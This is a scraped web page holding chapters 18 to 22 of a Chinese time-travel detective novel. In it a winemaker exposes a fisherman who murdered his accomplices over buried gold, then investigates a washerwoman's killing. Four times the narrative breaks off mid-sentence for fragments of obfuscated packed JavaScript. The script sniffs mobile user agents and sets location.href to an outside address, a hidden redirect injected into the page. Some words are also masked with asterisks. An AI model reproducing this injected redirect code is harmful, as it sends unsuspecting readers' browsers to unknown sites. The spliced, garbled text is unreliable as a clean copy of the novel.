手里头的人命案还没有结果,这边又有人击鼓喊冤,侯县令觉得自己整个人都快疯了。 “何人击鼓?把他带到大堂来。” 没过一会儿,穿着一身整整齐齐官服的侯县令就看见一个混杂着恶臭和鱼腥味的丑渔夫走进来。 “你是何人?为何击鼓鸣冤呀?” 跟以往疯疯颠颠的刘宏不同,今天来到县衙的刘宏显得耳聪目明。 “回禀大人,小的名叫刘宏,是城郊的渔夫。此次前来,是因为古刹里发现的尸骨而来,小人有此案的线索要向大人禀报。” 侯县令的眼睛不由一亮,“好,你赶紧说!” “那些尸骨是三十年前黎县首富王家人的,共计十四人,是我亲手放进破庙的地窑之中。小人原本在那里做工,可是当年同在王家做工的袁大壮和陆拾因为欠下赌庄许多的赌债,又问东家借钱,东家不肯,便拉拢我一起想到王家偷盗。” “我胆小不肯,他们便把我痛打一顿,还威胁我不准把他们的事情说出去。我记得三十多年前的那个夜里,正是除夕前三天,王府许多的下人都休沐,我也向东家请了一天假,到乡下祭拜我的父母。回来之后,发现王府的人全部惨遭毒手,袁大壮和陆拾逼迫我把这些人埋进破庙里,并且守口如瓶。” “事情发生之后,小人本想报官。但是,袁大壮和陆拾两人不准我说出去,并且威逼利诱,小的迫于无奈,这些年都不敢说出去,直到前一阵子寺庙里的尸骨被人发现。小人觉得不可以再隐瞒,这才击鼓鸣冤说出当**情,还望大人明鉴,小人自愿领罪。” “袁大壮和陆拾是何人?”侯县令问身边的人。 刑捕头小声的提醒道:“大人,袁大壮是铁匠,在城东有一家铁匠铺;那个陆拾是个商人,县里面最大的胭脂铺子就是他开的。” 侯县令怒气冲冲的一拍惊堂木,“快把这二人带到县衙。” 刑凌轻声的咳嗽两声,“大人,带不了。这两人昨天晚上已经**,正是昨天命案中已经死去三人中的两人。” “什么?已经**?”侯县令愤愤不平,“哼,死得好,死得好!刑捕头,带几人到他们家里去搜查一下,若是他们真的三十年前**谋财,肯定会留下蛛丝马迹。” 过了一会儿,刑捕头带着几个捕快飞快赶往两人的家中。 他们先是在铁匠家的灶台里找到三十多年前的**契,又翻到一个属于王家的玉佩。 之后又在陆拾家的密室里发现几块刻着“王”字的金锭。 这些足以证明刘宏之前所说的话,袁大壮和陆拾确实三十多年前在王家做过工。 而且这些东西出现在他们家中,至少也证明当年的王家灭门案确实是他们的手笔。 虽然说死无对证,但是这些物证也足以定罪。 侯县令心情大好,之前还担心这桩三十年前的悬案会影响他的仕途,没想到刘宏主动送上门交待案情,两个凶手还**,都不用花功夫去抓人,真是一件大好事。 侯县令狠狠一拍惊堂木:“此案已破。袁大壮和陆拾当年谋财害命,杀了王家十余口,并且盗走王家的财物,还胁迫刘宏帮他们埋尸。如今此二人分赃不均死于非命,正是死有余辜。” “至于刘宏,当年是受此二人胁迫埋尸,并非主犯。本官怜他主动投案,故不再追究。退堂!” “苗姑娘,你觉得这个案子算是结了吗?”在一旁静静的听着的贾仁总觉得这个案子有些不对头,却说不上来哪里不对头。 苗姑娘冷哼一声,“**越货,只见赃银,不见其他证据。凶手已死,全凭刘宏的一张嘴,你不觉得这个案子破得太蹊跷了吗?” “我也是。” “这个刘宏,这些年一直是疯疯癫癫,偏偏今天跟县令老爷说起三十年前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837554|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情时,突然变得耳聪目明,头脑清晰。你不觉得有些古怪吗?” “我也觉得今天的刘宏有些不一样,平常都是蓬头垢面、邋里邋遢的,今天倒觉得干净整洁起来,难道他是因为要见县令所以刻意打扮一下?这倒不像他平常的疯言疯行。” “还有,他说他是受那二人胁迫。可三十年前,他们三人都还是少年,看如今的体格,刘宏比那两人还要强壮一些,如何胁迫得了他们?而且,袁大壮和陆拾昨天晚上才死掉,第二天刘宏就交待案情,会不会太巧了一些?” “对对对,我也觉得。”贾仁连连点头。 可惜刚刚苗景岚不好上前询问,否则她一定能从刘宏的嘴里发现端倪。 偏偏侯县令破案心切,就这样匆匆结案。 好一个乌龙县令,破了一个乌龙案,还觉得是大功一件。 “这个刘宏,之前一直看他疯疯癫癫的,没想到今天却一反常态,倒是我们低估他了。”贾仁有些不甘心的说。 “你说如果他们三人当年一块办了这件大案,三十年后另外两个人**,谁会得到最多的好处?哼,看样子这个刘宏身上还有很多的秘密呀。” 其实从刚刚开始,苗景岚心里面一直有个猜测,她担心这个猜测会不会变成现实。 如果她的猜测是对的,那么整个案件会有颠覆性的结果。 案子水落石出,黎县里的每个人都松一口气。 要是这个悬案不破,只怕每一个在县衙里面当差的都不会有好果子吃。 心情也很是不错的刑捕头从县衙里走出来,苗景岚看见,快步追上前。 “刑捕头,那个灭门案已经破了吗?” 刑凌今天情绪挺好,看见苗景岚也没有上火,还破天荒的和颜悦色的回答:“破了破了,侯县令还说改天要请我们喝酒呢。” “那个叫刘宏的渔夫呢?”苗景岚问。 “他呀,县令大人赏了他一两银子。他从后门走了。” “糟了。”苗景岚在心里面喊了一句,快步朝后门走过去。 第18章 黄酒(10) 清晨,黎县郊外小路。 昨天晚上下了一夜的雨,早晨虽然雨骤停,空气中散发着一种春末夏初的香味,让人格外的轻松欣喜。 刘宏驾着一辆马车,他昨天从县衙出来之后,并没有回家,而是径直在黎县的一间客栈住下。 洗过澡,换过一身衣服,重新整理一番过后的刘宏显得格外的精神。 然后他又租了一辆马车,往黎县外面行驶而去。 一晃三十年,他终于可以扬眉吐气离开这里。 只差一步,只差一步就可以顺利的达成自己的目标。 刘宏的心里面隐隐有些小激动,朝着目标的方向而去。 他扬一扬马鞭,马儿的蹄子跑得飞快。 一柱半香的时间,刘宏终于来到目标的地点。 他拿出早就准备好的锄头,抡起锄头就朝着他住着的窝草棚附近锄过去。 挖了一会儿,刘宏已经是挖得满头大汗。 他从大坑里面挖出来一个半个高的大箱子,花了九牛二虎之力才把箱子从大坑里面挖出来。 刘宏四下看看,附近并没有其他人。 他又警醒的从身上摸出三把铜钥匙,然后把三把铜钥匙合并成一把,然后小心翼翼的把钥匙插到箱子的锁孔里面。 只听一声,“咣当”。 锁被打开,刘宏心情激动的打开箱子,眼睛里面满是兴奋的光芒。 里面装着的一根根金条,散发出耀眼的光芒,把刘宏整个人都照亮。 有了这些黄金,就可以过上自己想要的生活。 一想到这些,刘宏心里面满满都是期待…… “这就是你隐藏三十多年的秘密吧。”一个声音从刘宏的身后幽幽的响起,仿佛鬼魅一般。 刘宏惊恐的转过身,就看到苗景岚不知道什么时候起已经站在他的身后。 那双漆黑如墨的眼睛像钩子一样狠狠的盯着自己,让刘宏心里面好不自在。 “你怎么在这里?”刘宏四下看看,确定只有苗景岚一个人,心底的石头最终放下来,并且满不在首的说,“好,既然被你发现了,干脆一不做不二休,你今天也死在这里吧。” 苗景岚倒也不惊慌:“你想向我动手?慢着,在结束这一切之前,你先跟我讲讲整件事情的始末,就算让我死也让我死个明白!” 刘宏可不是个善茬,更没有这个耐心。 “你想知道真相?哈哈,不如到阴曹地府找他们去问一问吧。” 话音刚落,刘宏就举起手中的锄头朝苗景岚挥舞过去。 可是,他没有料到苗景岚身形如此灵活。 他更没有料到,苗景岚在躲过他的锄头之后,看似柔软的双手居然使出铿锵有力的拳头,一招招朝自己的脸上、身上和小腹上挥去。 刘宏吃痛一下,感觉不太对劲。 苗景岚再厉害也不过是一个酒坊的酿酒师,怎么会拳脚功夫? 而且那招式是如此的陌生,根本不像是这个世界存在的招式。 “你究竟是谁?”刘宏一脸警惕。 苗景岚用同样的口吻回敬他:“不如你直接回县衙后,问一问县衙老爷?” 不远处传来急促的马蹄声。 贾仁骑在马上催促道:“快点快点,就在前面!” 刑捕头十分的不快,本以为昨天那个案子结了,可不知道这个叫做贾仁的京城纨绔跟县令老爷私下里说了什么,今天一大早就命令衙门里的人把刘宏捉来。 而且县令老爷还对那个贾仁恭恭敬敬,也不知道这家伙背后是什么来头。 “贾公子,是你说这刘宏有问题。我们这拼了命的把人抓来,要是那刘宏不是主犯,侯县令到时候问起来可就是你的问题。” “放心,刑捕头,要是那刘宏不是坏人,我直接下大狱,不劳你们动手!”贾仁信誓旦旦的打保票,生怕他们再晚一点,苗景岚出什么危险。 刘宏听到不远处传来的马蹄声,深知情况不妙,丢下锄头就打算跑。 苗景岚跳起身来,风驰电掣般凌空朝刘宏的脑袋上扫一腿。 刘宏的脑袋一嗡,整个人便晕过去。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837555|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >县衙之下,侯县令端坐在大堂之上。 刘宏跪在下方,旁边是从刘宏住处附近挖出来的一箱金子。 侯县令一拍惊堂木,“大胆刘宏,三十年前,你是如何伙同陆拾、袁大壮谋害王家十四口,又是如何把陆拾、袁大壮杀害的?” “大人,小的不过是黎县一个渔夫,你说的这些我统统没有做过。” “胡说!你若是没做,那怎么会有王家的这箱金条,这些金锭上面都刻有王家的字样。” “这些金条是我听陆拾和袁大壮无意中说起,我才知道的。大人休要冤枉小人。” 没想到这个刘宏除了心狠手辣之外,一张嘴也挺利索。 “哼,就知道你会这样说。还好有人提供重要线索,本官已经从陆拾家中的暗格里找到当年的**契,他还把你们当年做的事情写成书信。说一旦他遇上不测,凶手就是你和袁大壮之中。” 刑捕头拿出从陆宅搜出来的证据。 “刘宏,你还有何话好说?” 刘宏本来还想抵赖,但金子已经被人发现,陆拾还留下书信,现在再狡辩也无济于事。 “是,三十年前我和陆拾、袁大壮合**死王家十四口。本来我们说好,等事情平息之后再把从王家弄来的钱平分,可他们偏偏不听。等不到十年,就开铺子的开铺子,娶媳妇的娶媳妇。如今官府查上来,我要自保,自然要除掉他们两个。” 贾仁冷笑一声,“刘宏,别说得自己有多好。我已经打听过,你十几年前曾经到外地经商,只是生意赔了才回到黎县做的渔夫。你是看到当年和你一块犯下命案的另外两个人过得比你好,你才心生嫉妒。借着王家尸骨被人发现的时机,把陆拾和袁氏夫妇杀掉,一来是**灭口,二来是想独吞当年从王家弄来的黄金。” “我猜测你们除了那箱黄金,还偷走了王家其他的钱财。只是那箱黄金太起眼,你们才想个办法把它埋起来。并且在箱子上弄了三把锁,想着要三把锁合在一起才能取出黄金。我说的对不对?” 在重重的罪证面前,刘宏不得不认罪。 第19章 米酒(1) 明岚酒坊。 晌午。 自打连续破了两个案子之后,苗景岚名声大振,连带着明岚酒坊也是客似云来,这些天生意火得不行。 大家伙总是喜欢点上一碗酒或是几个人买下一坛酒,然后围坐在酒坊里面听小伙计聊一聊八卦,或是直接守在酒坊里看看那个会破案的酒娘长啥样。 可是,苗景岚自从连破两个案子之后,突然变得消停了。 整天大门不迈,二门不出,就窝在酒坊里面天天酿酒。 那个富贵闲人贾公子倒是天天来,可惜也不能见到神龙见首不见尾的苗姑娘。 这一天,苗景岚终于端出一坛酒后在大家面前露了面。 苗景岚掀开酒坛子上的泥封。 顿时,一股清香甘甜的酒香瞬间飘出来。 味道传到酒坊里每一个人的鼻间。 “好香的酒呀。”有人情不自禁的称赞起来。 大家纷纷把目光迅速的转移到苗景岚手中的那坛酒上。 苗景岚已经穿越过来几个月,但是她从来没有亲手酿成过一坛酒,好几次都是借着大哥和二黑的手圆过去。 连续帮助官府破了两个案子,已经让她名气旺起来。 苗景岚并不因为出名而高兴,反倒是担心起来。 不会酿酒的酿酒师,能不被人怀疑吗? 到时候不要说外人,就连大哥和二黑那里都圆不过去。 景岚酒坊里一直卖的酒,都是父亲留下来的酒方子,有的酒已经失传。 平常店里面卖的最多的就是黄酒,像烧刀子那样的酒已经很难酿出来。 苗景岚想把前世喝过的米酒酿出来,一是这种酒的制作方式她记得很清楚;二是米酒十分的好喝。 她就不相信,这种甜滋滋又好喝的酒会没有人不喜欢? 只是前一段时间她都因为案子而分心,这几天她把精力都用在酿酒上面。 最后,终于在这个世界酿出第一坛米酒。 苗景明脸上带着惊喜,问妹妹:“阿岚,这是你新酿的酒吗?” 苗景岚点点头,“对。大哥,这是我新酿好的米酒。” “米酒。倒是一个好名字。” 苗景明性格比较保守,跟妹妹一起接管起祖上留下来的酒坊,卖的一直是父亲留下来的那几样酒。 生意不算好,但也不算特别糟。 没想到一向性格胆小的妹妹在摔破头之后,像是突然换了一个人。 性格变得开始不说,还能说会道。 最最离奇的是,平常连**都不敢提的妹妹居然会破案。 反倒是那从小就会的酿酒技艺,没有看到她再施展,甚至家里面的生意也不爱过问。 若不是那一身皮囊还是亲妹妹的,苗景明真要以为自己的妹妹被人掉包。 直到今天苗景岚研究出新的酒,这才让苗景明放心。 “掌柜的,这酒怎么卖呀?”闻到酒香的客人早就安捺不住,恨不得先喝上一口。 苗景岚想也不想就回答:“五两银子一碗。” “什么?五两银子一碗,掌柜的,你干脆去抢吧!” “就是呀,黎县最贵的酒一坛也就卖一到二两银子,你这里一碗就要卖五两。掌柜的,你这里是黑店吗?” …… 客人们七嘴八舌的抱怨起来。 只有一个人满不在乎的说:“五两银子,就可以先干为尽,先喝上一碗新酿好的佳酿,实在不算贵。” 贾仁站起身来,替苗景岚打起圆场。 “在京城,任何酒楼一坛刚开泥的新酒佳酿都要上百两银子。区区五两,实在不算什么。你们不喝的话,我来好了。” 说完,贾仁从身上掏出一百两银票,很大方的丢给苗景明。 “掌柜的,这些够买下这一坛酒吧?” 苗景明看到银票,马上眼睛一亮,满脸带笑的客气说道:“足够足够,贾公子果然大方!” 贾仁说完,上前几步接过那坛酒。 二黑很殷勤的给贾仁倒酒。 贾仁喝过一杯酒,赞叹一句:“好酒。甘甜回味,酒香醇厚!” 贾仁这一夸,让周围的客人都咽了咽口水。 二黑接着给贾公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837556|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒酒,贾仁一连喝下三杯。 白净的脸上开始泛起绯红。 “今天本公子心情好,给在座的每人倒上一杯,算是我请客吧。” 一听这话,在场的客人纷纷夸赞贾仁慷慨仁义。 二黑给酒坊的每个客人倒上一杯酒,每一个人喝上一杯之后,都开始赞不绝口。 黄酒味道太淡,烧刀子又太辣,而这个米酒味道刚刚好。 甘甜中带着清香,喝过一口,唇齿飘香,令人流连忘返。 苗景岚第一回在众人面前亮出自己酿的酒,就搏了一个满堂彩。 打烊的时候,苗景岚来到苗景明的身边。 “大哥,今来店里生意可好?” “好,好,多亏了你,咱们这酒坊的生意是越来越好。今天你又酿出新酒,我看咱们这酒坊明年可以修缮一番,再多请一两个伙计。” “既然如此,大哥,咱们这酒坊的帐上为何总是少银子?” 苗景岚虽然不爱过问酒坊的生意,但是酒坊的帐目是一直关注着的。 可是,一连几个月,苗景岚都发现酒坊的帐目不对。 起初他以为是爱赌钱的小伙伙二黑手脚不干净,但直到今天,她亲眼发现,大哥只登记下贾仁一百两银票的帐目。 至于今天其他客人的进帐,他一文钱也没有登记上去。 苗景明被问得一僵,垂下头来,脸上带着羞愧的表情。 “阿岚,是大哥对不住你。我急着用钱,又不好对你说,只能在帐目上挪用。” “大哥,我看你挺节俭,平常花钱的地方也不多,怎么会急着用钱?”苗景岚不甘心苗景明这样敷衍自己,继续追问道。 “这……”苗景明沉默片刻,半晌像是想起什么,才继续说,“大哥是借钱给一个朋友。” “什么朋友?女朋友吗?”苗景岚脱口问了一句。 苗景明不懂什么叫做‘女朋友’,不知道该怎样回答妹妹。 “大哥,我看你年纪也不小了。是该成家了,如果真有心宜的姑娘,带上门来也可以,妹妹给你看看未来的嫂嫂究竟如何。” 第20章 米酒(2) 苗景明被妹妹说得一呛。 他没想到自己的妹妹会这么快就看出他的小心思,更没想到妹妹直接叫人上门。 他与鸩儿青梅竹马、两小无猜。 如果不是当年鸩儿的父母为了图财,把她嫁给王婆家当童养媳,只怕现在他和鸩儿连孩子都抱上了。 苗景明一直没有忘记鸩儿,她这些吃过的苦、受过的罪,他都一清二楚。 每次鸩儿被他那个婆婆捆起来打得皮开肉绽,苗景明都仿佛疼在自己的身上,心中更是酸楚无比。 他很想鸩儿得到解脱,他可以娶上日思夜想的鸩儿,放在家里日宠夜宠。 那个恶婆婆老是问鸩儿要钱,苗景明就想方设法弄钱帮助鸩儿。 苗景岚的话让苗景明心里燃起一丝希望,“小岚,你说的是真的吗?……如果……如果大哥娶了一个寡妇,你会不会反对?” “寡妇?”苗景岚一听苗景明的话,心里面转过一万个心思。 苗景明性格内向,平常不要说关系较好的女性,就连玩得较好的男性都没有几个。 整天不是酿酒,就是在酒坊里做生意,把祖传的酒坊经营得不咸不淡。 平常苗景岚跟二黑聊起自己的大哥,她也知道大哥有一个关系不错的青梅。 只是听说那个女子命太苦,嫁给一个浆洗妇的儿子做童养媳,又因为未成年的相公早夭而被婆婆**。 没想到大哥到现在还对这个女子念念不忘,也算是深情。 “原来大哥心宜的女子是鸩儿。妹妹只想大哥过得好,只要未来的嫂子心善对大哥也好,妹妹是不会在乎未来嫂嫂的身份的。” 苗景岚的话让苗景明吃了一颗定心丸。 “你真这样想的?不怕将来她若是成了你嫂子,会有人对你指指点点?”苗景明不放心的问。 “大哥,妹妹不是迂腐之人。只要你真心喜欢那个女子,妹妹只会祝福你。倒是哥哥你自己对这个鸩儿是什么样的心思?如果真的把她娶回来,你会不会嫌弃她?” “我自然是不会嫌弃的。”苗景明的脸上浮现出一丝微笑,“你不知道,鸩儿是一个极好的人。如果不是嫁错人,不会吃这么多的苦。” “哥哥,你心疼她?”苗景岚打趣苗景明。 苗景明脸一红,“没有。我只是可怜她。” “大哥,那你就快点儿把她娶进门,早一点怜惜她。” “嗯,我今天晚上就跟她说,她是很好说话的,就她那个婆婆难缠一点。”苗景明终于鼓起勇气,打算跟鸩儿说出他心里最想的事情。 苗景岚没有想到,一提到鸩儿,苗景明就有些失了分寸。 居然当着面跟自己说夜会鸩儿的事情。 估计之前帐面上丢的那些银两,也都花在那个鸩儿的身上。 苗景岚不认识鸩儿,但听其他人提起,这个命苦的姑娘应该人也不坏。 苗景岚鼓励苗景明早一点把鸩儿解救出来。 苗景明倒是一个说干就干的性格,当晚就出去跟鸩儿约会。 从穿越到这个世界,苗景岚就有一个想法,自己可以以一个穿越者的身份在这个世界四处闯荡。 如果明岚酒坊有一个女主人,自己是不是就可以抽身离开? 这样一想,她对这个嫂嫂就满怀期待。 过了一晚,苗景岚发现苗景明还没有回来。 她觉得有些奇怪,大哥虽然中意那个鸩儿,还不至于如此不沉稳。 难道是因为两个感情太浓,一时没忍住,做出一些没有分寸的事情? 苗景岚正胡思乱想着,就听到外面有个人急匆匆的跑进来。 苗景岚抬起头,就看到惊慌失措的苗景明。 苗景明一路进来就上气不接下气的朝苗景岚说:“不好了,鸩……鸩儿出事了!” “怎么回事?”苗景岚察觉出异样。 苗景明说出原委:“昨天晚上我约鸩儿在破庙里相会,我们聊到很晚。鸩儿同意我们俩的婚事,但是担心她的那个婆婆。我和鸩儿商量,打算给王婆一笔钱,让她给鸩儿自由。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837557|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我送鸩儿回家,半路上鸩儿不小心掉到池塘,我们在路上烧起火,把衣服烘干。” “天快亮之前,我把鸩儿送回家,却……却发现王婆淹死在自家的浆洗池里。鸩儿让我回去,她去报了官。真……真是没有想到,居然会发生这样的事情!”苗景明一张脸煞白,双腿发软,原地瘫坐下来。 苗景岚也觉得不可思议,但多年的专业素养让她瞬间回过神,反问道:“大哥,鸩儿叫你回来,你就回来?你让鸩儿独自去报官,万一他们把鸩儿当作凶手呢?” 苗景岚心想,通过以往的案件,以侯县令和刑捕头的为人和尿性,真的干得出来。 苗景明被自己妹妹的话问住,顿时又失了魂。 “你说鸩儿会被当作**凶手?我怎么没想到?我真傻啊,我真傻!”苗景明想起这些,立刻心急如焚,马上站起身来,恨不得立刻赶回去。 “哎,你先不要急啊。就算你现在赶过去也无济于事,还不如让我先过去看看。我帮他们破了两个案子了,我和他们熟。” 苗景岚话音一落,人便匆匆离开明岚酒坊。 可是,她并没有赶去县衙,而是先去鸩儿的家。 苗景岚并不知道鸩儿的家在哪里,但是鸩儿的婆婆是黎县里数一数二的浆洗妇。 别人家的浆洗生意都是一天几件,她家的浆洗生意是一天上百件。 只要在县里面一打听,就可以知道她家在哪里。 转过一条大街,又穿过两条小巷,走到一条不起眼的巷子底,就是浆洗妇王婆的家。 还不等苗景岚走进门,就看到“老熟人”贾公子正站在大门口,和门口同样站着的几个路人有一搭没一搭的聊天。 贾仁眼尖,一睁眼就看到行色匆匆的苗景岚。 他上前一步打趣说:“哟,苗姑娘,这么快就赶来了?看样子你性子比我还急。” 似乎是为了讨好苗景岚,贾仁把自己刚刚打听到的事情全部一股脑的告诉苗景岚:“死的这个王婆真是一个了不得的人物呀。” 第21章 米酒(3) “死的这个王婆真是一个了不得的人物呀。原先只是一个寡妇,带着一个儿子住在这里。为了生计,在县里头做起浆洗生意,当初周围的百姓都是可怜她,才把衣服拿给她浆洗,没想到这寡妇这么会做生意,居然成为黎县最大的浆洗生意人,还在家里面挖了浆洗池。” “原本有一个五岁大的儿子,还给儿子找了一个大十二岁的童养媳,没想到不等儿子长大就**,成天就和儿媳住在一起。都说这王婆把这儿子的死怪罪在儿媳身上,每天对儿媳不是打就是骂。昨天夜里王婆死在自家的浆洗池,儿媳鸩儿早上回家才发现,报了官之后被官府拿下。” 苗景岚有一丝惊讶,“她早上才回家,没说是什么原因吗?” 贾仁果然是一个长舌男,苗景岚的问题立刻打开他的话匣子:“这也是本公子觉得奇怪的地方。那童养媳一夜未归,却说不出原由,左邻右舍都说她是去偷汉子……” 苗景岚:…… 她用不怀好意的眼神看了贾仁一眼,那里面藏着满满的嫌弃。 苗景岚抬起脚往王婆家中走去。 一进一出的一幢宅子,四间修葺得整整齐齐的房子,在房中的一角,还有一处长方形的浆洗池。 浆洗池其实是一条长长的由人工挖开的沟,沟里面放满浸泡的衣服,旁边放着十几个浆洗桶,里头放着数十件待洗的衣服。 平常这里就站满人,由王婆雇佣的洗衣妇站在池边洗衣服。 但因为这里出现命案,此时这里只看得见衣服,并看不见洗衣妇。 王婆的尸体已经从浆洗池里挖出来,冰冷冷的躺在地面上。 牟仵作正低头认认真真的检查尸体,一瞧见走过来的苗景岚,原本阴沉的脸上闪过一丝愉快的。 “牟仵作,怎么只有你一个人?”苗景岚并没有看到邓三出现在这里。 提到这个,牟仵作深深的叹一口气:“干我们这行的,如今收个徒弟都这么难。之前那邓三虽然天赋不够,但我看他天天缠上我求教,以为他是真心想学。” “没想到这个也是不争气的,只是学了几个月,还没有出师就撑不住了。前几天突然向我告假,到现在也没有回来。” 苗景岚没有告诉他,邓三之所以向他请假是因为自己的毒打。 还“好心的”安慰牟仵作几句:“仵作先生不必着急,想必邓三一定有重要的事情,等他忙完一定会回来。” “苗姑娘,上回我跟你说的事情,你考虑得怎么样呀?”老仵作还没有忘记那个屡破奇案,对察验尸体颇有天赋的苗景岚。 “这个……老先生,这具尸体你验得怎么样?”苗景岚故意转移话题,以免这老法医一直惦记着自己。 出于对人才的爱惜,牟仵作开始对苗景岚知无不言,“验完了。粗看这个洗衣妇是死于溺亡,可老夫仔细检查过之后,发现这个老妇人是被人勒死,然后伪装成溺亡,再丢进浆洗池。” “被人勒死?”听牟仵作这样说,苗景岚蹲下身来,开始仔细检查起王婆的尸体。 只见王婆浑身湿漉漉的,一张狰狞的脸上一双眼睛突出惊恐,嘴巴也张得老大,舌头都伸出来。 苗景岚见状,从心里面确定下来,这个王婆确实死于**。 一般只有被勒死的人身上才会有这样的特征:眼睛突出,舌头伸出来。 看得出来,王婆死前经过一番痛苦的挣扎。 而且,这个勒死王婆的人还是她身边的熟人。 因为就在刚刚,苗景岚看到就在王婆的脖子上有一道细细的勒痕。 凶手是趁王婆不备,从后面拿出绳子套住苗景岚的脖子,并且把王婆勒死的。 “牟仵作,你推断得出死者死于何时?” “从外表看来,这老婆子**至少三个时辰以上。” 三个时辰。 苗景岚推算一下时间,三个时辰正是昨天夜晚。 那个时间,大哥正和鸩儿在破庙约会。 两个人都不可能**。 可是,这也得有人信呀。 “哟,这不是咱们黎县的大神探苗姑娘吗?”黎捕头不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837558|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道什么时候站在苗景岚的身后。 苗景岚连破两个案子,一时间在黎县名声大振。 反倒是黎捕头身为县衙里的官差,两个案子都是靠着外人才解决的。 最气人的是那个侯县令,原本也是讨厌多管闲事的贾仁和自作聪明的苗景岚,也不知道怎么回事,自从贾仁找过侯县令一次,侯县令就对贾仁唯命是从。 苗景岚转过头,冷冷的瞅了对方一眼,假装听不懂他话里话外的阴阳怪气,应了一声:“刑捕头。” 刑凌手握着刀,一摇三摆的走过来,“苗大神探亲自来现场,是又有什么指教吗?有没有发现凶手?” “哦,我忘了。凶手此刻正被关在县衙,不需要我们苗大神探出手。” “刑捕头,那个鸩儿被关在牢房里没有说什么吗?” 刑凌脸上闪过一丝不屑,“哼,她杀了人什么自己交待吗?” “她没说自己昨晚去了哪里?” 提到鸩儿,刑凌马上显露出一丝厌恶:“那个女人,看似低眉顺眼,却是一块茅坑里头的石头,又臭又硬,到了县衙什么也不肯说。不过不要紧,只要县令大人到时候用过刑,就不怕他不交待。” 用刑?只怕用刑之后,鸩儿就会体无完肤,屈打成招。 到时候只怕不用动刑,鸩儿就死翘翘了。 一想到这个悲催的姑娘就是自己大哥心心念的鸩儿,极有可能成为自己未来的大嫂。 苗景岚不理会刑凌的话,丢下一句话:“告辞。” 马上奔着县衙去。 贾仁跟在苗景岚身后,还催促一句:“你又发现了什么?怎么不跟我说一句?” 苗景岚在心里面嘀咕,我赶着去救我未来嫂嫂,你着急跟着**什么? “你昨天不是喝了酒吗?今天起这么早?”这有些不正常。 贾仁的嘴角不由翘起来,“苗姑娘,你这是在关心我吗?” “切,我只是好奇你居然没有喝醉。” “你急着离开,可是在现场发现什么?” 第22章 米酒(4) 苗景岚抬眼看向贾仁,隔着半米远的距离,可以把对方看得很清楚。 身姿挺拔,一张俊俏的脸上不缺英气。 此时,一双漆黑的眼睛满怀期待的看向苗景岚。 就像是一个等着苗景岚揭开谜底、等糖吃的小孩。 经过这一段时间的了解,苗景岚大概也清楚贾仁是一个什么样的人。 虽然不清楚这家伙的背景,但多半是来自于京城的纨绔。 家里极其有钱,从小过着锦衣玉食的生活,才对百姓的普通生活完全不了解,甚至有一点缺乏常识。 看他花钱如流水,被人当成冤大头也不清楚。 偏偏这含着金汤勺出世的富家公子脑回路清奇,对各种各样的奇案怪案十分好奇,所以才会死死的黏上苗景岚。 苗景岚对上对方的眼睛,语气冰冰冷,“没有。” 贾仁大失所望:“怎么可能没有呢?” “我刚刚来到这县衙,都没有踏进门,怎么会知道情况。” “你是想见县令大人,还是想见那个凶手?” “你说呢?” 贾仁不怀好意的偷笑起来,“见县令大人或是凶手对你而言都不是一件容易的事情,但是对我而言,这些都轻而易举。” 贾仁说到这里,特意用不怀好意的目光打量苗景岚一眼。 那眼神仿佛在说,你求求本公子,本公子就让你达成所愿。 他等…… 他又等…… 